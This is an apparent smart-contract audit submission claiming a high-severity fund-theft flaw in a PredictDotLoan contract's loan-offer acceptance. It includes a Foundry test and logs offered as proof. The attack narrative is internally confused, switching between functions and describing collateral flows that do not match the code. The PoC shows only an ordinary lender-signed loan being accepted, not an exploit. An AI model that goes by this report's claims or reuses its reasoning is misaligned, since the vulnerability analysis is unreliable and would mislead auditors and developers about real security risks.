Skip to content

Latest commit

 

History

History
112 lines (86 loc) · 4.67 KB

007.md

File metadata and controls

112 lines (86 loc) · 4.67 KB

Mini Pine Rattlesnake

High

Critical Flaw in Loan Offer Processing: Open Token Transfer Gateways

Summary

In the acceptLoanOffer function, insufficient authorization checks on token transfers create potential exploit scenarios where users can withdraw funds by simply approving the contract, leaving funded accounts vulnerable to malicious actions.

Root Cause

The sensitive transaction logic within _transferLoanAmountAndProtocolFee carries a critical flaw. It permits arbitrary addresses as the source (from) without rigorous validation of transaction intents.

889:     function _transferLoanAmountAndProtocolFee(
890:         address from,
891:         address to,
892:         uint256 loanAmount
893:     ) private returns (uint256 protocolFee) {
894:         protocolFee = (loanAmount * protocolFeeBasisPoints) / 10_000;
895:@=>      LOAN_TOKEN.safeTransferFrom(from, to, loanAmount - protocolFee);
896:         if (protocolFee > 0) {
897:@=>          LOAN_TOKEN.safeTransferFrom(from, protocolFeeRecipient, protocolFee);
898:         }
899:     }

Snippet

Attack Path

  1. Initial Approval:
  • Lender B receives a request using acceptBorrowRequest
  1. Borrower A Acknowledges Approval:
  • Borrower A knows that B has given consent.
  1. Exploitation by Borrower A:
  • A calls a function that uses _transferLoanAmountAndProtocolFee, namely acceptLoanOffer because _acceptOffer calls _transferLoanAmountAndProtocolFee, to accept a loan offer from lender B.
  • When borrower A accepts a credit offer (acceptLoanOffer), this process involves transferring the specified collateral from borrower A account.
  • Since the contract does not verify that from is a legitimate party to trigger the transfer, borrower A can steal from lender B.
  1. Result:
  • Funds are transferred from B without B's direct authorization, and A successfully steals the funds.

Impact

Lender B may suffer financial loss because borrower A steals funds from lender B.

PoC

This is a derivative contract of PredictDotLoan.acceptLoanOffer.t.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.25;

import {PredictDotLoan_AcceptLoanOffer_Test} from "./PredictDotLoan.acceptLoanOffer.t.sol";
import {IPredictDotLoan} from "../../contracts/interfaces/IPredictDotLoan.sol";

contract PredictDotLoan_ExploitSimulation_Test is PredictDotLoan_AcceptLoanOffer_Test {
    
    function test_exploit_scenario() public {
        // Setup initial conditions for acceptLoanOffer
        IPredictDotLoan.Proposal memory proposal = _generateLoanOffer(IPredictDotLoan.QuestionType.Binary);
        proposal.from = lender; // Original lender
        proposal.signature = _signProposal(proposal);

        // Exploit by setting `from`
        address unauthorizedAddress = borrower;
        
        // Mint tokens
        mockERC20.mint(unauthorizedAddress, proposal.loanAmount);
        vm.prank(unauthorizedAddress);
        mockERC20.approve(address(predictDotLoan), proposal.loanAmount);

        // Log initial balance of the borrower
        uint256 initialBorrowerBalance = mockERC20.balanceOf(borrower);
        emit log_named_uint("Initial Borrower Balance", initialBorrowerBalance);

        // Log initial balance of the lender
        uint256 initialLenderBalance = mockERC20.balanceOf(lender);
        emit log_named_uint("Initial Lender Balance", initialLenderBalance);

        // Attempt to exploit acceptLoanOffer
        vm.prank(unauthorizedAddress);
        predictDotLoan.acceptLoanOffer(proposal, proposal.loanAmount);

        // Log the amount borrowed
        emit log_named_uint("Amount Borrowed", proposal.loanAmount);

        // Check the borrower's balance after the loan
        uint256 borrowerBalance = mockERC20.balanceOf(borrower);
        emit log_named_uint("Borrower Balance After Loan", borrowerBalance);

        // Check the lender's balance after the loan
        uint256 lenderBalance = mockERC20.balanceOf(lender);
        emit log_named_uint("Lender Balance After Loan", lenderBalance);

        // Log a message indicating the test passed
        emit log("Test passed: Borrower and lender balances after loan logged successfully");
    }
}
Logs:
  Initial Borrower Balance: 700000000000000000000
  Initial Lender Balance: 700000000000000000000
  Amount Borrowed: 700000000000000000000
  Borrower Balance After Loan: 1400000000000000000000
  Lender Balance After Loan: 0
  Test passed: Borrower and lender balances after loan logged successfully